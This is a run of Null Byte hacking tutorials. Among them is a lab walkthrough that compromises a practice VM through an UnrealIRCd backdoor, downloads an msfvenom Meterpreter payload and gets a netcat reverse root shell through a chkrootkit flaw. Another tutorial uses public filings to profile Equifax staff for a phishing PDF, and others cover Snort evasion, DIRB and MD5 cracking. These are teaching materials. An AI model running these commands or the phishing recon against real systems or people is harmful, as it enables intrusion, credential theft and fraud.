part of the rule that falls between the parentheses. This is referred to as the rule options. This part of the Snort rule is comprised of a couplet with a keyword, a colon, and the argument.keyword:argumentsOur example rule options look like this:Breaking Down the Rule Optionsmsg- This is the message that's sent to the sysadmin if the rule is triggered. In this case, Snort reports to the sysadmin "SCAN SYN FIN".flow- This option allows the rule to check the flow of the traffic. It can have a number of values including established (TCP established), not established (no TCP connection established), stateless (either established or not established), etc. In our example, the rule is triggered on traffic with or without an established TCP connection.flags- This couplet checks for TCP flags. As you know, TCP flags can be SYN, FIN, PSH, URG, RST, or ACK. This rule is looking for traffic that has both the SYN and FIN flags set (SF) and in addition, has the two reserved bits in the flags byte set (12).reference- This section is for referencing a security database for more information on the attack. In our example, we can find more info on this attack in the arachnids database, attack 198.classtype- All the rules are classified into numerous categories to help the admin understand what type of attack has been attempted. In our example, we can see that it is classified as an "attempted-recon".Step 7: Evade & DisableNow that we understand how the Snort rules work, we can design our attack to evade these rules. If we can get to the NIDS server, we can disable or edit the rules that might alert the sysadmin to our attack.In my next Snort tutorial, we'll delve deeper into the complexities of some of more sophisticated Snort rules, so stay tuned. If you have any questions or comments on Snort, please post them below. If you have questions on a different topic, visit theNull Byte forumfor help.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePig readingimage via ShutterstockRelatedHack Like a Pro:How to Evade a Network Intrusion Detection System (NIDS) Using SnortHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 2 (Setting Up the Basic Configuration)Hack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hack Like a Pro:An Introduction to Regular Expressions, Part 2Hack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)How To:Detect network intrusions with Wireshark and SnortHack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort)Hack Like a Pro:An Introduction to Regular Expressions (Regex)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:How to Compile a New Hacking Tool in KaliHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)Hack Like a Pro:How to Evade AV Software with ShellterHow To:The Five Phases of HackingHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)News:What to Expect from Null Byte in 2015Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Evade AV Detection with Veil-EvasionIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:The Epson International Pano Awards Photography Contest - Deadline April 15, 2011News:51 Ways to Improve Your WritingNews:Jackass 3D Prank ContestNews:Janet Fitch's rules for writingWeekend Homework:How to Become a Null Byte Contributor (3/16/2012)How To:The Official Google+ Insider's Guide IndexNews:Golf Driving Range (erotic tale of the granny golfer) |
How to Spot Fake Businesses & Find the Signature of CEOs with OSINT Β« Null Byte :: WonderHowTo | Businesses leave paper trails for nearly every activity they do, making it easy for a hacker or researcher to dig up everything from business licenses to a CEO's signature if they know where to look. To do this, we'll dig into the databases of government organizations and private companies to learn everything we can about businesses and the people behind them.You can probably imagine why it might be useful to find out if a business is real or not. It can also be helpful to verify if a particular person works for a company they say that they do. While this information almost always exists, it's not usually accessible with a simple Google search. A lot of this information is in databases that require you to submit search queries to discover it.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackBackground Check a BusinessTo be a good researcher, we'll have to find out where the information is, and what search terms we'll need to use to extract it. Whether we're doing recon on a business to find out if it's legit, or looking for a target to craft the perfect phishing email to, there are plenty of reasons why this information might be useful.If you want to know that a business is legit, the best place to start is digging into their licenses and key people. Finding evidence of being licensed is a positive sign, and will also lead to the names of the employees and officers listed on those documents. Finding these official documents allows you to cross-check information to look for inconsistencies or patterns, like the same people or addresses being used to register similarly disconnected businesses.Create the Perfect Phishing EmailIf you're a penetration tester, business research can take a more offensive turn by looking for the people, documents, and opportunities needed to craft the perfect phishing email. Getting a high-level executive to do something they're not supposed to do, like open a PDF from a stranger, can be done if the file is one the hacker knows their target is expecting.If we wanted to send a malicious PDF to someone who will open it at a company, we need to know a few things first. First, we need to identify the people who deal with the paperwork, and others they speak to to do their job. We also need to know that the document they're expecting to see looks like, preferably by first locating a scanned version online.With the right information, we can craft a phishing email to the right employee that looks like a document they're expecting to see from someone they trust. By digging, we can even add in the signatures of other executives, to make our PDF even more convincing.Let's take a look at what we can dig up.What You'll NeedTo follow this guide, you'll only need an internet connection and browser. The great thing about OSINT is that we don't need many resources to do it, and we can often rely on clever search terms or a well-framed original question to extract the information we need.Step 1: IntelTecniques Business ToolsTo get started, navigate tothe IntelTechniques website, and click on the "Business" menu to show the "Business resources" option. Click on this to navigate to the business resources page.Here, we'll find a number of valuable tools for locating information about businesses. We'll use this page as a reference for links, and come back to it later.To start, you'll notice the list of secretary of state business search websites for every state. These links are where we'll start our search.Step 2: Select a Target & Search State DatabasesOur target today will be Equifax. We'll start by trying to identify the state in which they do business. Because the state of California is enormous and requires a lot of paperwork to do business in, it's a safe bet that if the business you're looking for is large, they do business and have paperwork filed there.Navigate to theCalifornia Secretary of State Business Searchpage, which will allow you to search for documents from any company doing business in the state of California. Type in your search term, and select a corporation for larger companies, and an LLC for smaller ones. If you don't get a result the first time, rerun the search with the other option.The results should link to business documents, and here we can see there is only one active listing for Equifax. We now know what state we can find more information in, Georgia.Clicking on the active listing, we can see information on the filing, including an exact address. We can also see PDF files of documents they have submitted.Step 3: Find Signatures in DocumentsTo start finding signatures, we can take a look at the documents we've located. The second document we find listed contains not only a signature, but also the name of everyone important in the company.We already have several of our goals accomplished now that we know who does the paperwork, but we still need to know who to pose as and to what email address to send it. For that, we'll turn to another data source.Step 4: Opencorporates.com SearchBack on the IntelTechniques page, we'llclick on the link to OpenCorporates.com. This site allows us to search through company documents not just in one state, but in all states at the same time. While this may seem useful, it can quickly become overwhelming if we don't know where to search first.Searching for "Equifax" turns up over 700 results! To reduce this, we can check "exclude inactive" to remove listings from businesses that are no longer active, which reduces the number to 373. But if we filter to only include businesses in Georgia, we're down to only 21.Within this list of 21 businesses, a business called the Equifax foundation looks interesting. If we click on it, we see the same employee's name that we saw before on the company's information. We can also click on the employee name andrun a search through LittleSis.orgto find more documents that mention them.The same name, plus the same address as the other filings, means this business is connected to the main Equifax business. At the bottom, we can see a link to a registry page in Georgia.If we follow the link, we can see an entry for this business entity that also has a link to the filing history. This link leads to scanned documents that were used to create this business reasonably recently.Finally, we get what we're looking for! In the only document uploaded with this entry, we get an email address, name, and other information about the people responsible for the paperwork. We now know the email addresses and phone numbers of both people who need to contact each other about filing state paperwork, and we have enough information to craft a reasonably targeted phishing email.These details should be enough to phish some high-level employees. If we need to dig further, there's another tool we can use to dig deeper into the people behind the business.Businesses Are an Easy Target for OSINT ResearchUnlike individuals that may have some expectation of privacy, businesses generate paperwork with nearly everything they do. This makes researching them a breeze for hackers or anyone who needs to verify a business or executive, provided you look in the right database. You should be aware of what information is out there about any business you work with before opening a suspicious email at work, especially if it contains an attachment like a PDF.I hope you enjoyed this guide to using OSINT techniques to research businesses! If you have any questions about this tutorial on business research, leave a comment below, and feel free to reach me on [email protected]'t Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo bymaxkabakov/123RF, screenshots by Kody/Null Byte (unless otherwise noted)RelatedHow To:Find Identifying Information from a Phone Number Using OSINT ToolsRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Spot a Fake Samsung Galaxy S III SmartphoneHow To:Customize Your iPhone's Email SignatureβThe Ultimate GuideHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsHow To:Spot fake UGG Australia BootsHow To:Make Realistic-Looking Fake BloodHow To:Install MicroG to Replace Google Play Services & Prevent Data MiningVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Understanding Signature Schemes: How Data Sources Are Authenticated, Secured, & SpoofedHow To:Spot a fake Nintendo DS gameHow To:Practice the fake and finish move with Jason KiddHow To:Find OSINT Data on License Plate Numbers with SkiptracerHow To:Scrape Target Email Addresses with TheHarvesterHow To:Perform fake money tests to spot counterfeit currencyHow To:Get rid of fake tan mistakesNews:Ford Appoints Self-Drive Chief as CEOHow To:Identify Real Login Popups from Fake Phishing Attacks in iOS 8's Mail AppHow To:Fake and pass the ball like LeBron JamesHow To:Spot a fake Coach bagHow To:Spot a counterfeit Rolex watchHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 3 (Creating a Malware Signature in ClamAV)How To:Top 3 Apps for Masking Your Location on AndroidHow To:Fill in Ugly Bare Spots on Your Christmas TreeHow To:Make Digital Signature in MS WordToday's Top News:Ford CEO Rethinks Strategy to Lead Driverless RevolutionNews:Top Vegetarian Spots near Santa Monica, CAHow To:Earn the 'Dev Graffiti' Achievement and Trophy in RageNews:What we see is Natural ... But also FakeHow To:How Businesses Can Prepare for Google+News:Fake CakesHow To:Spot a fake pound coinNews:Google+ Rolls Out Pages for Businesses & BrandsNews:movie star prankNews:Gunnin' for that #1 SpotNews:Jackass Chick styleNews:Master of Business Administration Online at Kaplan UniversityβDistance LearninScrabble Challenge #19:Would You Rather Play a Phoney or a Phoney-Looking Word?News:Fake Criterion CoversTHE FILM LAB:Fake Blood |
How to Attack a Vulnerable Practice Computer: A Guide from Scan to Shell Β« Null Byte :: WonderHowTo | In my previous article, we learnedhow to generate a vulnerable virtual machine using SecGento safely and legally practice hacking. In this tutorial, we will put it all together, and learn how to actually hack our practice VM. This will provide some insight into the methodology behind an actual attack and demonstrate the proper way to practice on a VM.SecGen allows you to generate different scenarios for practice, balancing the surprises of real-life encounters with the safety of a legal hacking lab. Since the VM is a guest on my host, there are no worries about legality. I am also not concerned with how loud my tools are on the network. This is purely for demonstration purposes, attempting this on a machine without authorization could lead to serious legal ramifications.Previously:How to Use SecGen to Generate a Random Vulnerable MachineIn this guide, we'll be attacking our VM host on a Kali Linux system. You should use any platform that can run our virtual machine inVirtualBox. OurRaspberry-Pi-basedKali Linux hacking build, in this case, doesn't do well with virtualization, so if we want to use it, we'll have to run our guest VM on another computer and bridge the adapter.Step 1: EnumerationThis is the first phase of our attack, and in this case, it's going to be short. This VM doesn't have a huge attack surface. I start out with anNmapscan for initial recon.nmap -A -p- -v victimMachine -oX nmap.xml | tee nmap.outIn this command, I'm telling Nmap to enable OS detection, version detection, script scanning, and traceroute with the-Aargument. The-p-argument tells Nmap to scan all TCP ports, and-vtells Nmap to use one level of verbosity. The-oXargument tells Nmap to save results in an XML file called nmap.xml. The XML file can be helpful in the early stages of scouring withSearchSploit.I then pipe it intoteeto split STDOUT between my terminal and the file nmap.out. A pipe is a form of redirection in POSIX environments and is represented by the "|" character. The pipe sends the output (STDOUT) of one program into the input (STDIN) of another. This allows programmers to focus onUnix philosophy, the first tenant of which is "Do one thing well." Pipes allow for command chaining, which is a powerful way to build new utilities out of other existing utilities.If you are interested in learning more about pipes, I recommendBrandon Wamboldt's article on the subject.Throughout this article, I have substituted "victimMachine" and "attackingMachine" for the actual machine IP addresses.Don't Miss:How to Conduct Active Reconnaissance & DOS Attacks with NmapWhile this scan is working, I fire upKeepNoteand start a notebook on this project. I use KeepNote to store screenshots, keep track of information, and organize information supporting my attack. Even though this is only one host, good note-taking can really pay off. I suggest looking for a note-taking app that works for you. KeepNote is installed by default on Kali Linux.On machines with a larger attack surface, it can be easy to go down the rabbit hole chasing a vulnerability that simply isn't there, or maybe is there but refuses to work for some reason.Hammering away endlessly at something that isn't working can really screw up your workflow. If you suspect that something is vulnerable, but it isn't working, note it. Then rule out easier options first. The goal here isn't to have the most complex attack; the goal is root.At first glance, both IRC and FTP seem like they would be excellent attack vectors. FTP is often misconfigured, out of date, and vulnerable. A cursory search shows that ProFTPd has multiple vulnerabilities, but none of those are the version that this machine is running. So I move on to what I'm hoping is the next lowest hanging fruit, IRC.I use this command to establish a connection to the server, hoping to gather some more information.echo -e "USER ident 0 * :Gecos\nNICK evilHacker" | nc victimMachine 6667The-eargument inechotells the command to interpret escape sequences. The rest is just the hello for an IRC connection. I send my echo'd text intonetcatvia pipe and get an excellent result.I discover that the server is running version Unreal 3.2.8.1. Also, a little research shows that this particular version has amalicious backdoor installed.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking ToolsStep 2: Gaining AccessSince I know that the vulnerability I am targeting has a module inMetasploit, I fire up a Metasploit console.msfconsoleIf you dislike the banners at launch, you can add the-qargument. Once within the console, I select my exploit and read the information available for it with the following commands.use exploit/unix/irc/unreal_ircd_3281_backdoorinfoDon't Miss:Null Byte's Series on Metasploit BasicsNext, I set the required options for my victim machine. In this case, I only need to set one option: the remote host.set rhost victimMachineI then set the options for my payload by entering the following.set lhost attackingMachineset lport 31337set payload cmd/unix/reverseThis is a basic payload, but it should allow us to do some additional enumeration once we are connected. I would obviously prefer aMeterpretersession, but there aren't a lot of payloads to go with this exploit.Once I'm satisfied with my settings, I run the exploit.runWhich executes the Metasploit module and returns me a low privilege shell.This is a strong foothold. Using this, I'll upgrade to a Meterpreter reverse TCP connection. To do this, first I generate a Meterpreter payload usingmsfvenomby typing the following.msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=attackingMachine LPORT=6666 -f elf > /var/www/html/6666MetThis command generates a reverse TCP Meterpreter payload, which will connect back to my attacking machine on port 6666 in ELF format. I put it on the victim machine by usingwgetin our low-privilege shell.wget attackingMachine/6666Met -O /tmp/metI pull up another msfconsole on my attacking machine and prepare the handler for the incoming Meterpreter connection by typing the following commands.use exploit/multi/handlerset LHOST attackingMachineset LPORT 6666set payload linux/x86/meterpreter/reverse_tcprunI then execute my uploaded Meterpreter on the victim machine. Doing so returns a nice Meterpreter shell. This is extremely helpful in managing connections. Bare-bones shells can be unreliable, and there's nothing worse than losing your shell in the middle of an engagement.Don't Miss:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Step 3: Privilege EscalationCurrently, I'm not a privileged user. Even having unauthorized shell access as an unprivileged user is a huge security issue. But I, of course, want root.In order to escalate privileges, I'm going to have to start enumerating the system. This is where keeping notes really pays off. I like to start out with automated tools and dig deeper if it's required. My preferred automated Linux privilege escalation script isLinEnum.sh. If this doesn't notice anything immediately, I use other scripts.Eventually, if I'm stuck, I can sort manually based ong0tmi1k's basic Linux privilege escalation post. Inputting the commands manually and reading the output helps to slow the process down and allows me to be more methodical.In order to get LinEnum on my victim machine, I put a copy in my attacking machine's /var/www/html directory, and then type the following into terminal.wget attackingMachine/LinEnum.sh -O /tmp/lin.sh; chmod 700 /tmp/lin.sh;/tmp/lin.shThis command pulls the script off of my attacking machine, the-Oargument outputs the file to /tmp/lin.sh. I then change permissions to berwx(read, write execute) for my user and run the script.Alternatively, I could also just use Meterpreter to put the file on the remote host.This is a lot of information to intake and requires some processing to understand. A lot of the time spent doing a penetration test is enumerating through all the information you collect and deciding on a course of action.After significant enumeration, I discovered a vulnerable version ofchkrootkit.In this case, I did end up doing my enumeration manually. It also helped that I had encountered this particular vulnerability in the past. Metasploit has amodule for this exploit, but it's trivial to just put our own file in.When I write files on a compromised machine, I try to be careful about interactive programs likeVim, SSH, FTP, etc. In some cases, they can cause you to lose your shell. Some exploits can render machines unstable and may no longer work unless the machine is rebooted. This sucks because losing a shell can really mess things up. I create the /tmp/update file with the following commands.echo "#!/bin/sh">/tmp/updateecho nc 172.28.128.1 6688 -e /bin/sh >> /tmp/updatechmod 777 /tmp/updateFirst, I redirect STDOUT into /tmp/update using the>redirection character. This redirects STDOUT into a file. Then I append mynetcatcommand into the file. Lastly, I make the file executable by all.This tells Netcat to connect to my attacking machine and execute /bin/sh. On the other side of the connection, I set up anncatlistener by entering the following command.ncat -nlv attackingMachine 6688Which tells Netcat to listen for an incoming connection to the attacking machine on port 6688. With this set up, I wait. After a short time, I receive a root shell connection on my attacking machine!Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should Be Familiar WithPutting It All TogetherTools like SecGen are great for practice. Many vulnerable machines are set up in a way that isn't very realistic. Many authors configure their machines to be clever. These can be fun, but they aren't always helpful. Other vulnerable machines offer a large collection of vulnerabilities, but they often feel like you're going through an exploitation checklist. With SecGen, the machine feels like an actual target, complete with genuine surprises.I had a lot of fun with this machine. Getting my first shell was fast, but generally getting a shell isn't the hardest part. Since the attack surface on this host was small, I was able to quickly narrow in on a vulnerable service. On machines with a larger attack surface, pre-exploitation enumeration becomes more important.The privilege escalation phase of this machine was very straightforward. There was no need to pull possibly broken exploit code off the web and try to get it working. The difficulty in this scenario was in post exploitation enumeration, which I used to determine what I could leverage to gain root.This has been an outline of attacking a SecGen generated vulnerable VM. If you enjoyed this article, come hang out with us on social media!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null ByteScreenshots by Barrow/Null ByteRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Heartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Exploit Remote File Inclusion to Get a ShellHow To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserHow To:Do an Idle Scan with NmapHow To:The Ultimate Guide to Hacking macOSHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Use SecGen to Generate a Random Vulnerable MachineHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Exploit PHP File Inclusion in Web AppsThe Hacks of Mr. Robot:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)How To:Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS XHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningDrive-By Hacking:How to Root a Windows Box by Walking Past ItAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Create an SSH Tunnel Server and Client in LinuxHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreNinja Saga Tutorial:User Interface Maps |
Hack Like a Pro: How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB) Β« Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Often, tohack a website, we need to connect to and exploit a particular object within said website. It might be an admin panel or a subdirectory that is vulnerable to attack. The key, of course, is to find these objects, as they may be hidden.DIRB, developed by The Dark Raver, is a tool designed to find these objects, hidden and unhidden. Since it is already included into Kali, there is no need to download and install anything. For those of you who need to download it, it is availablehere.Step 1: Open a TerminalThe first step, as usual, is to fire upKaliand open a terminal.Step 2: Start DIRBOnce we have a terminal open, go ahead and typedirbto get the help screen.kali > dirbAs you can see in this screenshot above, DIRB's syntax is very simple with multiple options. In its simplest form, we only need to type the commanddirbfollowed by the URL of the website we are testing.kali > dirb URLStep 3: Using DIRB for a Simple Hidden Object ScanIt's simplest form, DIRB will scan the website looking for 4,612 object types. Let's try it on our favorite test site,webscantest.com.kali > dirbhttp://webscantest.comDIRB begins the scan looking for those keywords among the website objects.When DIRB finds a good directory (Code 200), it then begins to look inside that directory for additional hidden objects. Code 503 indicates "temporarily unavailable."Finally, when DIRB is done, it reports back the number of found objects (113 in this case). Note that in the help screen above, we can use the-oswitch to send the results to an output file to save the results to a text file.Step 4: Testing for Special Vulnerable ListsWe can use DIRB to test for specific vulnerable objects within specific types of web technologies. Each web technology has different vulnerabilities. They are NOT all the same. DIRB can help us look for specific vulnerable objects specific to the particular technology.In Kali, DIRB has specific wordlists to search for these vulnerable, often hidden objects. You can find them at:kali > cd /usr/share/dirb/wordlists/vulnThen list the contents of that directory:kali > ls -lAs you can see above, there are numerous wordlists that contain keywords of vulnerable objects in different web technologies such as Apache, ColdFusion, FatWire, ISS, JBoss, Oracle, SAP, Tomcat, WebLogic, and many more. Since I suspect my website is running Apache as a web server (I could do abanner grabor usehttprintto make certain), it makes sense to try theapache.txtwordlist first.We can now build ourdirbcommand to use that Apache vulnerable object wordlist by typing:kali > dirbhttp://webscantest.com/usr/share/dirb/wordlists/vulns/apache.txtWhen we hit enter, DIRB will scan the site looking for vulnerable objects from theapache.txtwordlist.Now, DIRB will use that Apache list to look for known vulnerable objects. If it finds any, then you can take the next step and look for an exploit to take advantage of it inExploit-DB,Metasploit,SecurityFocus, or any of the other many exploits sources on the web. Of course, you must use thevulnswordlist appropriate to the technology being used in the website. For instance, if it is a Windows IIS server, you should use theiis.txtwordlist.Keep coming back, my hacker novitiates, as we continue to explore the technologies and techniques of the most valuable skill set of the 21st centuryβhacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Launch Apps, Tasks, & Websites Directly from Your iPhone's Notification CenterNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:If You're Seeing Lock Screen 'DU' Malware When Charging, Uninstall These Apps Right NowHow To:Launch Apps from the Side of Your Screen (A Perfect Mod for the Galaxy S6 Edge)How To:Remove Stock iOS App, Without Jailbreak (iOS 6)News:5 Apps That'll Make You Ditch Your Stock Photo GalleryHow To:Unlock the Hidden Multi-Window Mode in Android 6.0 MarshmallowNews:Your Apple Watch Is a Secret Social Media MachineHow To:Temporarily Disable Your Instagram Account When You Need to Take an #InstaBreakHow To:Hide Stories in Your Facebook Feed on iPhone or AndroidNews:The Best Cyber Monday Deals on iOS Apps & Games for Your iPhoneHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceHow To:Encrypt & Hide Files, Photos, & Videos on AndroidHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10How To:Lock Your Photos, Videos, Files, & Passwords in a Digital Safe for iOSBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Force Restart Your iPhone 11, 11 Pro, or 11 Pro Max When It's Acting UpHow To:Generate Viral Memes Like a Pro with These Apps for Your iPhoneApple Photos 101:How to Hide Images & Videos from Your iPhone's Camera RollHow To:Access the Home Screen on the iPhone X,XS,XR, 11 & 11 ProHow To:Broken Buttons on Your Android Phone? Use This On-Screen Navigation Bar Instead (No Root Needed)News:Deleting Stock Apps on iOS 10 Doesn't Actually Remove Them β Here's ProofHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Find 3D Snapchat Filters for New Effects with Your iPhone's Face ID CameraHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsHow To:Use This Shortcut to Turn Any Photo into a Notch-Hiding Wallpaper on Your iPhoneHow To:View the Battery Percentage Indicator on Your iPhone X,XS,XSMax, orXRHow To:Hack TOR Hidden ServicesHack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)How To:Activate Developer Options on Your Galaxy Note 9How To:Remove Yourself from a Tagged Photo on InstagramHow To:Record Your iPhone's Screen Without the Annoying Red Bar or BubbleNova Launcher 101:How to Hide Apps to Remove Icons & Free Up Space in Your App DrawerHow To:Hide the Status Bar on Your iPhone with This Cool & Simple GlitchHow To:Replace Your Galaxy S8's Nav Bar with Pie Controls to Prevent Screen Burn-In |
How Hackers Take Your Encrypted Passwords & Crack Them Β« Null Byte :: WonderHowTo | You may have asked yourself, "How do hackers take my password, if the website owner can't?" The answer is simple. When a website stores your login password for the site, it is run through a cryptographic hash function before it enters the database (if the website isn'tSony).So how are hackers getting these passwords?When a website is breached and has their database stolen, the password hashes will be in there. A hacker will analyze the hashes, and see whichhash typethey are, and then bruteforce them. Bruteforcing is when you systematically cycle through each letter in a letterset until it matches a password. A letter set can be all lower-case, symbols, or anything the hacker wants. So the hacker bruteforces until they find a hash that matches yours, resulting in "guessing" your password.In thisNull Byte, lets run through what it takes to hack a password using the commonMD5hashing algorithm. I'm going to show you how to do this on both Windows and Linux.Step1Cracking MD5 on WindowsOn Windows, we're going to need to download and installCain & Abel. Cain is part of the software suite, and is a AIO (All-In-One) Windows hacking tool. We will be using its bruteforce function to crack MD5 hashes.Hash a WordLet's hash the word "cowsay" using Miracle Salad'sMD5 hash generator. We get the following as a result:0f606505ce5a8e34d306f707067786efBruteforce with CainI'm going to show you in a vTutorial how to crack the hash of the word "cowsay". Follow closely!Please enable JavaScript to watch this video.See how quick and easy that was? Load the hash, click dictionary attack, and wait. This was on a single core processor in a Virtual Machine, so imagine what it would be like on a powerful computer with GPU's.Step2Cracking MD5 on LinuxOn Linux, cracking hashes is a bit different. We will be using JTR (John the Ripper). Linux is a bit faster at cracking hashes, as you will see in the video a bit later.InstallationFirst, download JTR fromhere.Extract withtar zxvf john-1.7.8.tar.gzNavigate to the john directoryInstall with./configure && make && sudo make installBruteforce with JohnI'm going to crack the hash of the word "cowsay" again, but this time with JTR. Commands will be listed below, if you miss any.Please enable JavaScript to watch this video.Commandsnano hash(inject hash into file and save)john --format=raw-md5 hashjohn --format=raw-md5 --show hashStep3Protect Yourself from Password CrackingCheck out my previousguideon keeping passwords strong and safe. The same rules apply here. Keep your passwords longer than 12 characters, and use symbols. Itgreatlyincreases the time it takes to crack.I hope you enjoyed this Null Byte. Jump inIRCif you need one-on-one advice!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaWall Safe ExpertRelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsAdvice from a Real Hacker:How to Create Stronger PasswordsHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to 